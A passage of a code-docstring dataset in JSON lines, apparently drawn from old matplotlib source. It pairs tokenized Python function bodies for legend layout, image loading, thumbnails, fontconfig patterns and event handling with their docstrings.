= handle.get_colors()[<NUM_LIT:0>]<EOL>legline.set_color(color)<EOL>legline.set_linewidth(lw)<EOL>legline.set_dashes(dashes)<EOL>handle_list.append(legline)<EOL><DEDENT>elif isinstance(handle, RegularPolyCollection):<EOL><INDENT>ydata = height*self._scatteryoffsets<EOL>size_max, size_min = max(handle.get_sizes()),min(handle.get_sizes())<EOL>if self.scatterpoints < <NUM_LIT:4>:<EOL><INDENT>sizes = [<NUM_LIT>*(size_max+size_min), size_max,<EOL>size_min]<EOL><DEDENT>else:<EOL><INDENT>sizes = (size_max-size_min)*np.linspace(<NUM_LIT:0>,<NUM_LIT:1>,self.scatterpoints)+size_min<EOL><DEDENT>p = type(handle)(handle.get_numsides(),<EOL>rotation=handle.get_rotation(),<EOL>sizes=sizes,<EOL>offsets=zip(xdata_marker,ydata),<EOL>transOffset=self.get_transform(),<EOL>)<EOL>p.update_from(handle)<EOL>p.set_figure(self.figure)<EOL>p.set_clip_box(None)<EOL>p.set_clip_path(None)<EOL>handle_list.append(p)<EOL><DEDENT>else:<EOL><INDENT>handle_list.append(None)<EOL><DEDENT>handlebox = DrawingArea(width=self.handlelength*fontsize,<EOL>height=height,<EOL>xdescent=<NUM_LIT:0.>, ydescent=descent)<EOL>handle = handle_list[-<NUM_LIT:1>]<EOL>handlebox.add_artist(handle)<EOL>if hasattr(handle, \"<STR_LIT>\"):<EOL><INDENT>handlebox.add_artist(handle._legmarker)<EOL><DEDENT>handleboxes.append(handlebox)<EOL><DEDENT>nrows, num_largecol = divmod(len(handleboxes), self._ncol)<EOL>num_smallcol = self._ncol-num_largecol<EOL>largecol = safezip(range(<NUM_LIT:0>, num_largecol*(nrows+<NUM_LIT:1>), (nrows+<NUM_LIT:1>)),<EOL>[nrows+<NUM_LIT:1>] * num_largecol)<EOL>smallcol = safezip(range(num_largecol*(nrows+<NUM_LIT:1>), len(handleboxes), nrows),<EOL>[nrows] * num_smallcol)<EOL>handle_label = safezip(handleboxes, labelboxes)<EOL>columnbox = []<EOL>for i0, di in largecol+smallcol:<EOL><INDENT>itemBoxes = [HPacker(pad=<NUM_LIT:0>,<EOL>sep=self.handletextpad*fontsize,<EOL>children=[h, t], align=\"<STR_LIT>\")<EOL>for h, t in handle_label[i0:i0+di]]<EOL>itemBoxes[-<NUM_LIT:1>].get_children()[<NUM_LIT:1>].set_minimumdescent(False)<EOL>columnbox.append(VPacker(pad=<NUM_LIT:0>,<EOL>sep=self.labelspacing*fontsize,<EOL>align=\"<STR_LIT>\",<EOL>children=itemBoxes))<EOL><DEDENT>if self._mode == \"<STR_LIT>\":<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>mode = \"<STR_LIT>\"<EOL><DEDENT>sep = self.columnspacing*fontsize<EOL>self._legend_box = HPacker(pad=self.borderpad*fontsize,<EOL>sep=sep, align=\"<STR_LIT>\",<EOL>mode=mode,<EOL>children=columnbox)<EOL>self._legend_box.set_figure(self.figure)<EOL>self.texts = text_list<EOL>self.legendHandles = handle_list<EOL>", "docstring": "Initiallize the legend_box. The legend_box is an instance of\nthe OffsetBox, which is packed with legend handles and\ntexts. Once packed, their location is calculated during the\ndrawing time.", "id": "f17172:c0:m7"}
{"signature": "def _update_legend_box(self, renderer):", "body": "<EOL>fontsize = renderer.points_to_pixels(self.fontsize)<EOL>if self._last_fontsize_points == fontsize:<EOL><INDENT>return<EOL><DEDENT>height = self._approx_text_height(renderer) * <NUM_LIT><EOL>descent = <NUM_LIT:0.><EOL>for handle in self.legendHandles:<EOL><INDENT>if isinstance(handle, RegularPolyCollection):<EOL><INDENT>npoints = self.scatterpoints<EOL><DEDENT>else:<EOL><INDENT>npoints = self.numpoints<EOL><DEDENT>if npoints > <NUM_LIT:1>:<EOL><INDENT>xdata = np.linspace(<NUM_LIT>*fontsize,<EOL>(self.handlelength-<NUM_LIT>)*fontsize,<EOL>npoints)<EOL>xdata_marker = xdata<EOL><DEDENT>elif npoints == <NUM_LIT:1>:<EOL><INDENT>xdata = np.linspace(<NUM_LIT:0>, self.handlelength*fontsize, <NUM_LIT:2>)<EOL>xdata_marker = [<NUM_LIT:0.5>*self.handlelength*fontsize]<EOL><DEDENT>if isinstance(handle, Line2D):<EOL><INDENT>legline = handle<EOL>ydata = ((height-descent)/<NUM_LIT>)*np.ones(xdata.shape, float)<EOL>legline.set_data(xdata, ydata)<EOL>legline_marker = legline._legmarker<EOL>legline_marker.set_data(xdata_marker, ydata[:len(xdata_marker)])<EOL><DEDENT>elif isinstance(handle, Patch):<EOL><INDENT>p = handle<EOL>p.set_bounds(<NUM_LIT:0.>, <NUM_LIT:0.>,<EOL>self.handlelength*fontsize,<EOL>(height-descent),<EOL>)<EOL><DEDENT>elif isinstance(handle, RegularPolyCollection):<EOL><INDENT>p = handle<EOL>ydata = height*self._scatteryoffsets<EOL>p.set_offsets(zip(xdata_marker,ydata))<EOL><DEDENT><DEDENT>cor = fontsize / self._last_fontsize_points<EOL>def all_children(parent):<EOL><INDENT>yield parent<EOL>for c in parent.get_children():<EOL><INDENT>for cc in all_children(c): yield cc<EOL><DEDENT><DEDENT>for box in all_children(self._legend_box):<EOL><INDENT>if isinstance(box, PackerBase):<EOL><INDENT>box.pad = box.pad * cor<EOL>box.sep = box.sep * cor<EOL><DEDENT>elif isinstance(box, DrawingArea):<EOL><INDENT>box.width = self.handlelength*fontsize<EOL>box.height = height<EOL>box.xdescent = <NUM_LIT:0.><EOL>box.ydescent=descent<EOL><DEDENT><DEDENT>self._last_fontsize_points = fontsize<EOL>", "docstring": "Update the dimension of the legend_box. This is required\nbecuase the paddings, the hadle size etc. depends on the dpi\nof the renderer.", "id": "f17172:c0:m8"}
{"signature": "def _auto_legend_data(self):", "body": "assert self.isaxes <EOL>ax = self.parent<EOL>vertices = []<EOL>bboxes = []<EOL>lines = []<EOL>for handle in ax.lines:<EOL><INDENT>assert isinstance(handle, Line2D)<EOL>path = handle.get_path()<EOL>trans = handle.get_transform()<EOL>tpath = trans.transform_path(path)<EOL>lines.append(tpath)<EOL><DEDENT>for handle in ax.patches:<EOL><INDENT>assert isinstance(handle, Patch)<EOL>if isinstance(handle, Rectangle):<EOL><INDENT>transform = handle.get_data_transform()<EOL>bboxes.append(handle.get_bbox().transformed(transform))<EOL><DEDENT>else:<EOL><INDENT>transform = handle.get_transform()<EOL>bboxes.append(handle.get_path().get_extents(transform))<EOL><DEDENT><DEDENT>return [vertices, bboxes, lines]<EOL>", "docstring": "Returns list of vertices and extents covered by the plot.\n\nReturns a two long list.\n\nFirst element is a list of (x, y) vertices (in\ndisplay-coordinates) covered by all the lines and line\ncollections, in the legend's handles.\n\nSecond element is a list of bounding boxes for all the patches in\nthe legend's handles.", "id": "f17172:c0:m9"}
{"signature": "def draw_frame(self, b):", "body": "self._drawFrame = b<EOL>", "docstring": "b is a boolean.  Set draw frame to b", "id": "f17172:c0:m10"}
{"signature": "def get_children(self):", "body": "children = []<EOL>if self._legend_box:<EOL><INDENT>children.append(self._legend_box)<EOL><DEDENT>return children<EOL>", "docstring": "return a list of child artists", "id": "f17172:c0:m11"}
{"signature": "def get_frame(self):", "body": "return self.legendPatch<EOL>", "docstring": "return the Rectangle instance used to frame the legend", "id": "f17172:c0:m12"}
{"signature": "def get_lines(self):", "body": "return [h for h in self.legendHandles if isinstance(h, Line2D)]<EOL>", "docstring": "return a list of lines.Line2D instances in the legend", "id": "f17172:c0:m13"}
{"signature": "def get_patches(self):", "body": "return silent_list('<STR_LIT>', [h for h in self.legendHandles if isinstance(h, Patch)])<EOL>", "docstring": "return a list of patch instances in the legend", "id": "f17172:c0:m14"}
{"signature": "def get_texts(self):", "body": "return silent_list('<STR_LIT>', self.texts)<EOL>", "docstring": "return a list of text.Text instance in the legend", "id": "f17172:c0:m15"}
{"signature": "def get_window_extent(self):", "body": "return self.legendPatch.get_window_extent()<EOL>", "docstring": "return a extent of the the legend", "id": "f17172:c0:m16"}
{"signature": "def _get_anchored_bbox(self, loc, bbox, parentbbox, renderer):", "body": "assert loc in range(<NUM_LIT:1>,<NUM_LIT:11>) <EOL>BEST, UR, UL, LL, LR, R, CL, CR, LC, UC, C = range(<NUM_LIT:11>)<EOL>anchor_coefs={UR:\"<STR_LIT>\",<EOL>UL:\"<STR_LIT>\",<EOL>LL:\"<STR_LIT>\",<EOL>LR:\"<STR_LIT>\",<EOL>R:\"<STR_LIT:E>\",<EOL>CL:\"<STR_LIT>\",<EOL>CR:\"<STR_LIT:E>\",<EOL>LC:\"<STR_LIT:S>\",<EOL>UC:\"<STR_LIT:N>\",<EOL>C:\"<STR_LIT:C>\"}<EOL>c = anchor_coefs[loc]<EOL>fontsize = renderer.points_to_pixels(self.fontsize)<EOL>container = parentbbox.padded(-(self.borderaxespad) * fontsize)<EOL>anchored_box = bbox.anchored(c, container=container)<EOL>return anchored_box.x0, anchored_box.y0<EOL>", "docstring": "Place the *bbox* inside the *parentbbox* according to a given\nlocation code. Return the (x,y) coordinate of the bbox.\n\n- loc: a location code in range(1, 11).\n  This corresponds to the possible values for self._loc, excluding \"best\".\n\n- bbox: bbox to be placed, display coodinate units.\n- parentbbox: a parent box which will contain the bbox. In\n    display coordinates.", "id": "f17172:c0:m17"}
{"signature": "def _find_best_position(self, width, height, renderer, consider=None):", "body": "assert self.isaxes <EOL>verts, bboxes, lines = self._auto_legend_data()<EOL>bbox = Bbox.from_bounds(<NUM_LIT:0>, <NUM_LIT:0>, width, height)<EOL>consider = [self._get_anchored_bbox(x, bbox, self.parent.bbox, renderer) for x in range(<NUM_LIT:1>, len(self.codes))]<EOL>candidates = []<EOL>for l, b in consider:<EOL><INDENT>legendBox = Bbox.from_bounds(l, b, width, height)<EOL>badness = <NUM_LIT:0><EOL>badness = legendBox.count_contains(verts)<EOL>badness += legendBox.count_overlaps(bboxes)<EOL>for line in lines:<EOL><INDENT>if line.intersects_bbox(legendBox):<EOL><INDENT>badness += <NUM_LIT:1><EOL><DEDENT><DEDENT>ox, oy = l, b<EOL>if badness == <NUM_LIT:0>:<EOL><INDENT>return ox, oy<EOL><DEDENT>candidates.append((badness, (l, b)))<EOL><DEDENT>minCandidate = candidates[<NUM_LIT:0>]<EOL>for candidate in candidates:<EOL><INDENT>if candidate[<NUM_LIT:0>] < minCandidate[<NUM_LIT:0>]:<EOL><INDENT>minCandidate = candidate<EOL><DEDENT><DEDENT>ox, oy = minCandidate[<NUM_LIT:1>]<EOL>return ox, oy<EOL>", "docstring": "Determine the best location to place the legend.\n\n`consider` is a list of (x, y) pairs to consider as a potential\nlower-left corner of the legend. All are display coords.", "id": "f17172:c0:m18"}
{"signature": "def imread(fname):", "body": "def pilread():<EOL><INDENT>'<STR_LIT>'<EOL>try: import Image<EOL>except ImportError: return None<EOL>image = Image.open( fname )<EOL>return pil_to_array(image)<EOL><DEDENT>handlers = {'<STR_LIT>' :_png.read_png,<EOL>}<EOL>basename, ext = os.path.splitext(fname)<EOL>ext = ext.lower()[<NUM_LIT:1>:]<EOL>if ext not in list(handlers.keys()):<EOL><INDENT>im = pilread()<EOL>if im is None:<EOL><INDENT>raise ValueError('<STR_LIT>' % list(handlers.keys()))<EOL><DEDENT>return im<EOL><DEDENT>handler = handlers[ext]<EOL>return handler(fname)<EOL>", "docstring": "Return image file in *fname* as :class:`numpy.array`.\n\nReturn value is a :class:`numpy.array`.  For grayscale images, the\nreturn array is MxN.  For RGB images, the return value is MxNx3.\nFor RGBA images the return value is MxNx4.\n\nmatplotlib can only read PNGs natively, but if `PIL\n<http://www.pythonware.com/products/pil/>`_ is installed, it will\nuse it to load the image and return an array (if possible) which\ncan be used with :func:`~matplotlib.pyplot.imshow`.\n\nTODO: support RGB and grayscale return values in _image.readpng", "id": "f17173:m0"}
{"signature": "def pil_to_array( pilImage ):", "body": "def toarray(im):<EOL><INDENT>'<STR_LIT>'<EOL>x_str = im.tostring('<STR_LIT>',im.mode,<NUM_LIT:0>,-<NUM_LIT:1>)<EOL>x = np.fromstring(x_str,np.uint8)<EOL>return x<EOL><DEDENT>if pilImage.mode in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>im = pilImage <EOL><DEDENT>elif pilImage.mode=='<STR_LIT:L>':<EOL><INDENT>im = pilImage <EOL>x = toarray(im)<EOL>x.shape = im.size[<NUM_LIT:1>], im.size[<NUM_LIT:0>]<EOL>return x<EOL><DEDENT>elif pilImage.mode=='<STR_LIT>':<EOL><INDENT>im = pilImage <EOL>x = toarray(im)<EOL>x.shape = im.size[<NUM_LIT:1>], im.size[<NUM_LIT:0>], <NUM_LIT:3><EOL>return x<EOL><DEDENT>else: <EOL><INDENT>try:<EOL><INDENT>im = pilImage.convert('<STR_LIT>')<EOL><DEDENT>except ValueError:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT><DEDENT>x = toarray(im)<EOL>x.shape = im.size[<NUM_LIT:1>], im.size[<NUM_LIT:0>], <NUM_LIT:4><EOL>return x<EOL>", "docstring": "load a PIL image and return it as a numpy array of uint8.  For\ngrayscale images, the return array is MxN.  For RGB images, the\nreturn value is MxNx3.  For RGBA images the return value is MxNx4", "id": "f17173:m1"}
{"signature": "def thumbnail(infile, thumbfile, scale=<NUM_LIT:0.1>, interpolation='<STR_LIT>',<EOL>preview=False):", "body": "basedir, basename = os.path.split(infile)<EOL>baseout, extout = os.path.splitext(thumbfile)<EOL>im = imread(infile)<EOL>rows, cols, depth = im.shape<EOL>dpi = <NUM_LIT:100><EOL>height = float(rows)/dpi*scale<EOL>width = float(cols)/dpi*scale<EOL>extension = extout.lower()<EOL>if preview:<EOL><INDENT>import matplotlib.pyplot as plt<EOL>fig = plt.figure(figsize=(width, height), dpi=dpi)<EOL><DEDENT>else:<EOL><INDENT>if extension=='<STR_LIT>':<EOL><INDENT>from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas<EOL><DEDENT>elif extension=='<STR_LIT>':<EOL><INDENT>from matplotlib.backends.backend_pdf import FigureCanvasPDF as FigureCanvas<EOL><DEDENT>elif extension=='<STR_LIT>':<EOL><INDENT>from matplotlib.backends.backend_svg import FigureCanvasSVG as FigureCanvas<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>from matplotlib.figure import Figure<EOL>fig = Figure(figsize=(width, height), dpi=dpi)<EOL>canvas = FigureCanvas(fig)<EOL><DEDENT>ax = fig.add_axes([<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:1>], aspect='<STR_LIT>', frameon=False, xticks=[], yticks=[])<EOL>basename, ext = os.path.splitext(basename)<EOL>ax.imshow(im, aspect='<STR_LIT>', resample=True, interpolation='<STR_LIT>')<EOL>fig.savefig(thumbfile, dpi=dpi)<EOL>return fig<EOL>", "docstring": "make a thumbnail of image in *infile* with output filename\n*thumbfile*.\n\n  *infile* the image file -- must be PNG or PIL readable if you\n     have `PIL <http://www.pythonware.com/products/pil/>`_ installed\n\n  *thumbfile*\n    the thumbnail filename\n\n  *scale*\n    the scale factor for the thumbnail\n\n  *interpolation*\n    the interpolation scheme used in the resampling\n\n\n  *preview*\n    if True, the default backend (presumably a user interface\n    backend) will be used which will cause a figure to be raised\n    if :func:`~matplotlib.pyplot.show` is called.  If it is False,\n    a pure image backend will be used depending on the extension,\n    'png'->FigureCanvasAgg, 'pdf'->FigureCanvasPDF,\n    'svg'->FigureCanvasSVG\n\n\nSee examples/misc/image_thumbnail.py.\n\n.. htmlonly::\n\n    :ref:`misc-image_thumbnail`\n\nReturn value is the figure instance containing the thumbnail", "id": "f17173:m2"}
{"signature": "def __init__(self, ax,<EOL>cmap = None,<EOL>norm = None,<EOL>interpolation=None,<EOL>origin=None,<EOL>extent=None,<EOL>filternorm=<NUM_LIT:1>,<EOL>filterrad=<NUM_LIT>,<EOL>resample = False,<EOL>**kwargs<EOL>):", "body": "martist.Artist.__init__(self)<EOL>cm.ScalarMappable.__init__(self, norm, cmap)<EOL>if origin is None: origin = rcParams['<STR_LIT>']<EOL>self.origin = origin<EOL>self._extent = extent<EOL>self.set_filternorm(filternorm)<EOL>self.set_filterrad(filterrad)<EOL>self._filterrad = filterrad<EOL>self.set_interpolation(interpolation)<EOL>self.set_resample(resample)<EOL>self.axes = ax<EOL>self._imcache = None<EOL>self.update(kwargs)<EOL>", "docstring": "interpolation and cmap default to their rc settings\n\ncmap is a colors.Colormap instance\nnorm is a colors.Normalize instance to map luminance to 0-1\n\nextent is data axes (left, right, bottom, top) for making image plots\nregistered with data plots.  Default is to label the pixel\ncenters with the zero-based row and column indices.\n\nAdditional kwargs are matplotlib.artist properties", "id": "f17173:c0:m1"}
{"signature": "def get_size(self):", "body": "if self._A is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return self._A.shape[:<NUM_LIT:2>]<EOL>", "docstring": "Get the numrows, numcols of the input image", "id": "f17173:c0:m2"}
{"signature": "def set_alpha(self, alpha):", "body": "martist.Artist.set_alpha(self, alpha)<EOL>self._imcache = None<EOL>", "docstring": "Set the alpha value used for blending - not supported on\nall backends\n\nACCEPTS: float", "id": "f17173:c0:m3"}
{"signature": "def changed(self):", "body": "self._imcache = None<EOL>self._rgbacache = None<EOL>cm.ScalarMappable.changed(self)<EOL>", "docstring": "Call this whenever the mappable is changed so observers can\nupdate state", "id": "f17173:c0:m4"}
{"signature": "def contains(self, mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>x, y = mouseevent.xdata, mouseevent.ydata<EOL>xmin, xmax, ymin, ymax = self.get_extent()<EOL>if xmin > xmax:<EOL><INDENT>xmin,xmax = xmax,xmin<EOL><DEDENT>if ymin > ymax:<EOL><INDENT>ymin,ymax = ymax,ymin<EOL><DEDENT>if x is not None and y is not None:<EOL><INDENT>inside = x>=xmin and x<=xmax and y>=ymin and y<=ymax<EOL><DEDENT>else:<EOL><INDENT>inside = False<EOL><DEDENT>return inside,{}<EOL>", "docstring": "Test whether the mouse event occured within the image.", "id": "f17173:c0:m7"}
{"signature": "def write_png(self, fname, noscale=False):", "body": "im = self.make_image()<EOL>if noscale:<EOL><INDENT>numrows, numcols = im.get_size()<EOL>im.reset_matrix()<EOL>im.set_interpolation(<NUM_LIT:0>)<EOL>im.resize(numcols, numrows)<EOL><DEDENT>im.flipud_out()<EOL>rows, cols, buffer = im.as_rgba_str()<EOL>_png.write_png(buffer, cols, rows, fname)<EOL>", "docstring": "Write the image to png file with fname", "id": "f17173:c0:m8"}
{"signature": "def set_data(self, A, shape=None):", "body": "<EOL>if hasattr(A,'<STR_LIT>'):<EOL><INDENT>self._A = pil_to_array(A)<EOL><DEDENT>elif ma.isMA(A):<EOL><INDENT>self._A = A<EOL><DEDENT>else:<EOL><INDENT>self._A = np.asarray(A) <EOL><DEDENT>if self._A.dtype != np.uint8 and not np.can_cast(self._A.dtype, np.float):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if (self._A.ndim not in (<NUM_LIT:2>, <NUM_LIT:3>) or<EOL>(self._A.ndim == <NUM_LIT:3> and self._A.shape[-<NUM_LIT:1>] not in (<NUM_LIT:3>, <NUM_LIT:4>))):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self._imcache =None<EOL>self._rgbacache = None<EOL>self._oldxslice = None<EOL>self._oldyslice = None<EOL>", "docstring": "Set the image array\n\nACCEPTS: numpy/PIL Image A", "id": "f17173:c0:m9"}
{"signature": "def set_array(self, A):", "body": "<EOL>self.set_data(A)<EOL>", "docstring": "retained for backwards compatibility - use set_data instead\n\nACCEPTS: numpy array A or PIL Image", "id": "f17173:c0:m10"}
{"signature": "def set_extent(self, extent):", "body": "self._extent = extent<EOL>xmin, xmax, ymin, ymax = extent<EOL>corners = (xmin, ymin), (xmax, ymax)<EOL>self.axes.update_datalim(corners)<EOL>if self.axes._autoscaleon:<EOL><INDENT>self.axes.set_xlim((xmin, xmax))<EOL>self.axes.set_ylim((ymin, ymax))<EOL><DEDENT>", "docstring": "extent is data axes (left, right, bottom, top) for making image plots", "id": "f17173:c0:m11"}
{"signature": "def get_interpolation(self):", "body": "return self._interpolation<EOL>", "docstring": "Return the interpolation method the image uses when resizing.\n\nOne of 'nearest', 'bilinear', 'bicubic', 'spline16', 'spline36', 'hanning',\n'hamming', 'hermite', 'kaiser', 'quadric', 'catrom', 'gaussian',\n'bessel', 'mitchell', 'sinc', 'lanczos',", "id": "f17173:c0:m12"}
{"signature": "def set_interpolation(self, s):", "body": "if s is None: s = rcParams['<STR_LIT>']<EOL>s = s.lower()<EOL>if s not in self._interpd:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self._interpolation = s<EOL>", "docstring": "Set the interpolation method the image uses when resizing.\n\nACCEPTS: ['nearest' | 'bilinear' | 'bicubic' | 'spline16' |\n  'spline36' | 'hanning' | 'hamming' | 'hermite' | 'kaiser' |\n  'quadric' | 'catrom' | 'gaussian' | 'bessel' | 'mitchell' |\n  'sinc' | 'lanczos' | ]", "id": "f17173:c0:m13"}
{"signature": "def get_extent(self):", "body": "if self._extent is not None:<EOL><INDENT>return self._extent<EOL><DEDENT>else:<EOL><INDENT>sz = self.get_size()<EOL>numrows, numcols = sz<EOL>if self.origin == '<STR_LIT>':<EOL><INDENT>return (-<NUM_LIT:0.5>, numcols-<NUM_LIT:0.5>, numrows-<NUM_LIT:0.5>, -<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>return (-<NUM_LIT:0.5>, numcols-<NUM_LIT:0.5>, -<NUM_LIT:0.5>, numrows-<NUM_LIT:0.5>)<EOL><DEDENT><DEDENT>", "docstring": "get the image extent: left, right, bottom, top", "id": "f17173:c0:m16"}
{"signature": "def set_filternorm(self, filternorm):", "body": "if filternorm:<EOL><INDENT>self._filternorm = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self._filternorm = <NUM_LIT:0><EOL><DEDENT>", "docstring": "Set whether the resize filter norms the weights -- see\n        help for imshow\n\n        ACCEPTS: 0 or 1", "id": "f17173:c0:m17"}
{"signature": "def get_filternorm(self):", "body": "return self._filternorm<EOL>", "docstring": "return the filternorm setting", "id": "f17173:c0:m18"}
{"signature": "def set_filterrad(self, filterrad):", "body": "r = float(filterrad)<EOL>assert(r><NUM_LIT:0>)<EOL>self._filterrad = r<EOL>", "docstring": "Set the resize filter radius only applicable to some\n        interpolation schemes -- see help for imshow\n\n        ACCEPTS: positive float", "id": "f17173:c0:m19"}
{"signature": "def get_filterrad(self):", "body": "return self._filterrad<EOL>", "docstring": "return the filterrad setting", "id": "f17173:c0:m20"}
{"signature": "def __init__(self, ax,<EOL>x=None,<EOL>y=None,<EOL>A=None,<EOL>cmap = None,<EOL>norm = None,<EOL>**kwargs<EOL>):", "body": "martist.Artist.__init__(self)<EOL>cm.ScalarMappable.__init__(self, norm, cmap)<EOL>self.axes = ax<EOL>self._rgbacache = None<EOL>self.update(kwargs)<EOL>self.set_data(x, y, A)<EOL>", "docstring": "cmap defaults to its rc setting\n\ncmap is a colors.Colormap instance\nnorm is a colors.Normalize instance to map luminance to 0-1\n\nAdditional kwargs are matplotlib.artist properties", "id": "f17173:c2:m0"}
{"signature": "def set_alpha(self, alpha):", "body": "martist.Artist.set_alpha(self, alpha)<EOL>self.update_dict['<STR_LIT>'] = True<EOL>", "docstring": "Set the alpha value used for blending - not supported on\nall backends\n\nACCEPTS: float", "id": "f17173:c2:m5"}
{"signature": "def __init__(self, fig,<EOL>cmap = None,<EOL>norm = None,<EOL>offsetx = <NUM_LIT:0>,<EOL>offsety = <NUM_LIT:0>,<EOL>origin=None,<EOL>**kwargs<EOL>):", "body": "martist.Artist.__init__(self)<EOL>cm.ScalarMappable.__init__(self, norm, cmap)<EOL>if origin is None: origin = rcParams['<STR_LIT>']<EOL>self.origin = origin<EOL>self.figure = fig<EOL>self.ox = offsetx<EOL>self.oy = offsety<EOL>self.update(kwargs)<EOL>self.magnification = <NUM_LIT:1.0><EOL>", "docstring": "cmap is a colors.Colormap instance\nnorm is a colors.Normalize instance to map luminance to 0-1\n\nkwargs are an optional list of Artist keyword args", "id": "f17173:c3:m0"}
{"signature": "def contains(self, mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>xmin, xmax, ymin, ymax = self.get_extent()<EOL>xdata, ydata = mouseevent.x, mouseevent.y<EOL>if xdata is not None and ydata is not None:<EOL><INDENT>inside = xdata>=xmin and xdata<=xmax and ydata>=ymin and ydata<=ymax<EOL><DEDENT>else:<EOL><INDENT>inside = False<EOL><DEDENT>return inside,{}<EOL>", "docstring": "Test whether the mouse event occured within the image.", "id": "f17173:c3:m1"}
{"signature": "def get_size(self):", "body": "if self._A is None:<EOL><INDENT>raise RuntimeError('<STR_LIT>')<EOL><DEDENT>return self._A.shape[:<NUM_LIT:2>]<EOL>", "docstring": "Get the numrows, numcols of the input image", "id": "f17173:c3:m2"}
{"signature": "def get_extent(self):", "body": "numrows, numcols = self.get_size()<EOL>return (-<NUM_LIT:0.5>+self.ox, numcols-<NUM_LIT:0.5>+self.ox,<EOL>-<NUM_LIT:0.5>+self.oy, numrows-<NUM_LIT:0.5>+self.oy)<EOL>", "docstring": "get the image extent: left, right, bottom, top", "id": "f17173:c3:m3"}
{"signature": "def write_png(self, fname):", "body": "im = self.make_image()<EOL>rows, cols, buffer = im.as_rgba_str()<EOL>_png.write_png(buffer, cols, rows, fname)<EOL>", "docstring": "Write the image to png file with fname", "id": "f17173:c3:m6"}
{"signature": "def generate_fontconfig_pattern(d):", "body": "props = []<EOL>families = '<STR_LIT>'<EOL>size = '<STR_LIT>'<EOL>for key in '<STR_LIT>'.split():<EOL><INDENT>val = getattr(d, '<STR_LIT>' + key)()<EOL>if val is not None and val != []:<EOL><INDENT>if type(val) == list:<EOL><INDENT>val = [value_escape(r'<STR_LIT>', str(x)) for x in val if x is not None]<EOL>if val != []:<EOL><INDENT>val = '<STR_LIT:U+002C>'.join(val)<EOL><DEDENT><DEDENT>props.append(\"<STR_LIT>\" % (key, val))<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(props)<EOL>", "docstring": "Given a dictionary of key/value pairs, generates a fontconfig\npattern string.", "id": "f17175:m0"}
{"signature": "def parse(self, pattern):", "body": "props = self._properties = {}<EOL>try:<EOL><INDENT>self._parser.parseString(pattern)<EOL><DEDENT>except self.ParseException as e:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (pattern, e))<EOL><DEDENT>self._properties = None<EOL>return props<EOL>", "docstring": "Parse the given fontconfig *pattern* and return a dictionary\nof key/value pairs useful for initializing a\n:class:`font_manager.FontProperties` object.", "id": "f17175:c0:m1"}
{"signature": "def on_event(self, event):", "body": "<EOL>self.add_event(event)<EOL>verbose.report(\"<STR_LIT>\" % len(self.events))<EOL>self.post_event()<EOL>if len(self.events) >= self.n and self.n > <NUM_LIT:0>:<EOL><INDENT>self.fig.canvas.stop_event_loop()<EOL><DEDENT>", "docstring": "Event handler that will be passed to the current figure to\nretrieve events.", "id": "f17176:c0:m1"}
{"signature": "def post_event(self):", "body": "pass<EOL>", "docstring": "For baseclass, do nothing but collect events", "id": "f17176:c0:m2"}
{"signature": "def cleanup(self):", "body": "for cb in self.callbacks:<EOL><INDENT>self.fig.canvas.mpl_disconnect(cb)<EOL><DEDENT>self.callbacks=[]<EOL>", "docstring": "Disconnect all callbacks", "id": "f17176:c0:m3"}
{"signature": "def add_event(self,event):", "body": "self.events.append(event)<EOL>", "docstring": "For base class, this just appends an event to events.", "id": "f17176:c0:m4"}
{"signature": "def pop_event(self,index=-<NUM_LIT:1>):", "body": "self.events.pop(index)<EOL>", "docstring": "This removes an event from the event list.  Defaults to\nremoving last event, but an index can be supplied.  Note that\nthis does not check that there are events, much like the\nnormal pop method.  If not events exist, this will throw an\nexception.", "id": "f17176:c0:m5"}
{"signature": "def __call__(self, n=<NUM_LIT:1>, timeout=<NUM_LIT:30> ):", "body": "assert isinstance(n, int), \"<STR_LIT>\"<EOL>self.n = n<EOL>self.events = []<EOL>self.callbacks = []<EOL>self.fig.show()<EOL>for n in self.eventslist:<EOL><INDENT>self.callbacks.append( self.fig.canvas.mpl_connect(n, self.on_event) )<EOL><DEDENT>try:<EOL><INDENT>self.fig.canvas.start_event_loop(timeout=timeout)<EOL><DEDENT>finally: <EOL><INDENT>self.cleanup()<EOL><DEDENT>return self.events<EOL>", "docstring": "Blocking call to retrieve n events", "id": "f17176:c0:m7"}
{"signature": "def post_event(self):", "body": "assert len(self.events)><NUM_LIT:0>, \"<STR_LIT>\"<EOL>if self.events[-<NUM_LIT:1>].name == '<STR_LIT>':<EOL><INDENT>self.key_event()<EOL><DEDENT>else:<EOL><INDENT>self.mouse_event()<EOL><DEDENT>", "docstring": "This will be called to process events", "id": "f17176:c1:m1"}
{"signature": "def mouse_event(self):", "body": "event = self.events[-<NUM_LIT:1>]<EOL>button = event.button<EOL>if button == <NUM_LIT:3>:<EOL><INDENT>self.button3(event)<EOL><DEDENT>elif button == <NUM_LIT:2>:<EOL><INDENT>self.button2(event)<EOL><DEDENT>else:<EOL><INDENT>self.button1(event)<EOL><DEDENT>", "docstring": "Process a mouse click event", "id": "f17176:c1:m2"}
{"signature": "def key_event(self):", "body": "event = self.events[-<NUM_LIT:1>]<EOL>key = event.key<EOL>if key == '<STR_LIT>' or key == '<STR_LIT>':<EOL><INDENT>self.button3(event)<EOL><DEDENT>elif key == '<STR_LIT>':<EOL><INDENT>self.button2(event)<EOL><DEDENT>else:<EOL><INDENT>self.button1(event)<EOL><DEDENT>", "docstring": "Process a key click event.  This maps certain keys to appropriate\nmouse click events.", "id": "f17176:c1:m3"}
